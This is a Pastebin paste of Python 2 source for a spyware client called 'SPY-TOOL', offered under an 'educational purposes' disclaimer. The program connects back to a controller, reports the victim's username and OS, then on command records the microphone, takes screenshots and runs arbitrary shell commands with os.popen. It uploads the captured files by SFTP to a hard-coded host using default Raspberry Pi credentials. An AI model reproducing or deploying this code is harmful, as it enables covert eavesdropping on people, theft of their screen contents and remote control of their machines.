Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -------------------------------------------------------------------------------------------------
- #
- # DEVELOPED BY: DMITRIY DIMCENCO
- # CONTACT: dumitrudimcenco@outlook.com
- # VERSION: 1.0.0
- #
- # -------------------------------------------------------------------------------------------------
- #
- # THIS SOFTWARE WAS DEVELOPED AND CAN ONLY BE USED WITH EDUCATIONAL PURPOSES,
- # THE DEVELOPER ISN'T RESPONSIBLE FOR ABUSIVE USE OF THIS SOFTWARE.
- # THIS SOFTWARE IS FREE OF ANY TYPE OF LICENSE AND CAN BE USED WITHOUT ANY
- # PRIOR CONSENTIMENT FROM THE DEVELOPER.
- #
- # -------------------------------------------------------------------------------------------------
- #
- # INFORMATIONS - INSTRUCTIONS
- #
- # SPY-TOOL V1.0.0 - CLIENT
- #
- # SYSTEM REQUIREMENTS ? :
- # - WINDOWS OR LINUX(UNIX)
- # - PYTHON (WAS DEVELOPED UNDER 2.7 VERSION)
- # - EXTRA PYTHON MODULES (CHECK IMPORT ZONE)
- #
- # LINK TO PYTHON DOWNLOAD - https://www.python.org/downloads/
- #
- # USAGE:
- # python server-spy.py
- #
- # -------------------------------------------------------------------------------------------------
- import platform
- import getpass
- import pyaudio
- import ftplib
- import socket
- import wave
- import sys
- import wx
- import os
- # -------------------------------------------------------------------------------------------------
- os_system = platform.system() + ' ' + platform.release()
- username = getpass.getuser()
- # -------------------------------------------------------------------------------------------------
- class FileHandler(object):
- def __init__(self, file_to_send):
- self.host = '192.168.1.68'
- self.user_name = 'pi'
- self.password = 'raspberry'
- self.file_name = file_to_send
- def send(self):
- import paramiko
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- ssh.connect(self.host, username=self.user_name, password=self.password)
- sftp = ssh.open_sftp()
- localpath = self.file_name
- remotepath = '/home/pi/' + localpath
- sftp.put(localpath, remotepath)
- sftp.close()
- ssh.close()
- # -------------------------------------------------------------------------------------------------
- class Webcam(object):
- @staticmethod
- def take_shot():
- pass
- # -------------------------------------------------------------------------------------------------
- class Audio(object):
- def __init__(self, seconds):
- self.FORMAT = pyaudio.paInt16
- self.CHANNELS = 2
- self.RATE = 44100
- self.CHUNK = 1024
- self.file_count = 0
- self.WAVE_OUTPUT_FILENAME = 'record' + str(self.file_count) + '.wav'
- while os.path.isfile(self.WAVE_OUTPUT_FILENAME):
- self.file_count += 1
- self.RECORD_SECONDS = int(seconds)
- self.audio = pyaudio.PyAudio()
- self.file_handler = FileHandler(self.WAVE_OUTPUT_FILENAME)
- def record_mic(self):
- stream = self.audio.open(format=self.FORMAT,
- channels=self.CHANNELS,
- rate=self.RATE,
- input=True,
- frames_per_buffer=self.CHUNK)
- frames = []
- for i in range(0, int(self.RATE / self.CHUNK * self.RECORD_SECONDS)):
- data = stream.read(self.CHUNK)
- frames.append(data)
- stream.stop_stream()
- stream.close()
- self.audio.terminate()
- wv = wave.open(self.WAVE_OUTPUT_FILENAME, 'wb')
- wv.setnchannels(self.CHANNELS)
- wv.setsampwidth(self.audio.get_sample_size(self.FORMAT))
- wv.setframerate(self.RATE)
- wv.writeframes(b''.join(frames))
- wv.close()
- self.file_handler.send()
- # -------------------------------------------------------------------------------------------------
- class Screen(object):
- def __init__(self):
- self.SCREENSHOT_FILENAME = 'screenshot0.png'
- def take_screenshot(self):
- app = wx.App()
- screen = wx.ScreenDC()
- size = screen.GetSize()
- bmp = wx.EmptyBitmap(size[0], size[1])
- mem = wx.MemoryDC(bmp)
- mem.Blit(0, 0, size[0], size[1], screen, 0, 0)
- del mem
- bmp.SaveFile(self.SCREENSHOT_FILENAME, wx.BITMAP_TYPE_PNG)
- file_handler = FileHandler(self.SCREENSHOT_FILENAME)
- file_handler.send()
- # -------------------------------------------------------------------------------------------------
- class RequestHandler(object):
- def __init__(self):
- self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.host = 'localhost'
- self.port = 8888
- def handle_request(self):
- try:
- self.client.connect((self.host, self.port))
- except socket.error, error:
- print ' [-] Error - ' + str(error)
- sys.exit(0)
- self.client.send('Username: ' + username + ' - OS: ' + os_system)
- while True:
- option = self.client.recv(1024)
- if option == 'webcam_snap':
- webcam = Webcam()
- webcam.take_shot()
- self.client.send(' [+] Webcam shot (success)')
- elif option == 'record_mic':
- self.client.send(' Record time (seconds)')
- seconds = self.client.recv(1024)
- audio = Audio(seconds)
- audio.record_mic()
- self.client.send(' [+] Record mic (success)')
- elif option == 'take_screenshot':
- screen = Screen()
- screen.take_screenshot()
- self.client.send(' [+] Screenshot (success)')
- elif option == 'os_cmd':
- self.client.send('OST1')
- cmd = self.client.recv(1024)
- output = os.popen(cmd).read()
- self.client.send(output)
- elif option == 'prog_quit':
- self.client.send('prog_quit')
- self.client.shutdown(socket.SHUT_WR)
- sys.exit(0)
- else:
- self.client.send(' [-] Invalid input, try again')
- # -------------------------------------------------------------------------------------------------
- def main():
- req_handl = RequestHandler()
- req_handl.handle_request()
- if __name__ == '__main__':
- main()
- # -------------------------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement